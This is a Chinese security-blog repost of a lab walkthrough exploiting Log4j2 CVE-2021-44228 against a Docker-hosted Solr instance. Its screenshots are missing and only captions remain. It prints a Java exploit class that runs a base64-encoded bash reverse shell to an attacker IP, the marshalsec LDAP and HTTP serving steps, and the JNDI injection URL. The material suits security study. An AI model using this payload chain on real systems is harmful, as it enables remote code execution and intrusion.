Log4j2-CVE-2021-44228

admin 2023年12月26日21:10:25评论38 views字数 970阅读3分14秒阅读模式

一、环境搭建

机器:kali Linux

Java:jdk8

python:python3.7.x

二、在docker里面搭建靶机环境

Log4j2-CVE-2021-44228
Log4j2-CVE-2021-44228

三、访问

Log4j2-CVE-2021-44228

四、构造payload

Log4j2-CVE-2021-44228

五、替换

将上面构造好的反弹shell语句替换

Log4j2-CVE-2021-44228

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
     public Exploit(){
             try{
                 Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
                                }catch(Exception e){
                                            e.printStackTrace();
                                             }
                }
         public static void main(String[] argv){
                         Exploit e = new Exploit();
                            }
}

将上面文件放进Exploit.java文件,在Windows用javac进行编译成Exploit.class,记得切换成 jdk8!

Log4j2-CVE-2021-44228

然后放进kali里面查看

Log4j2-CVE-2021-44228

六、开启恶意站点

用python在含有java.class开启http服务

Log4j2-CVE-2021-44228

访问一下,看看效果

Log4j2-CVE-2021-44228

七、用marshalsec-0.0.3-SNAPSHOT-all.jar插件开启LADP监听

Log4j2-CVE-2021-44228

八、开启监听端口

Log4j2-CVE-2021-44228

九、传入恶意参数

http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://192.168.217.128:1389/Exploit}

Log4j2-CVE-2021-44228

十、查看效果

Log4j2-CVE-2021-44228

如上图所示即反弹shell成功!

原文始发于微信公众号(黄公子学安全):Log4j2-CVE-2021-44228

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月26日21:10:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Log4j2-CVE-2021-44228https://cn-sec.com/archives/2337954.html

发表评论

匿名网友 填写信息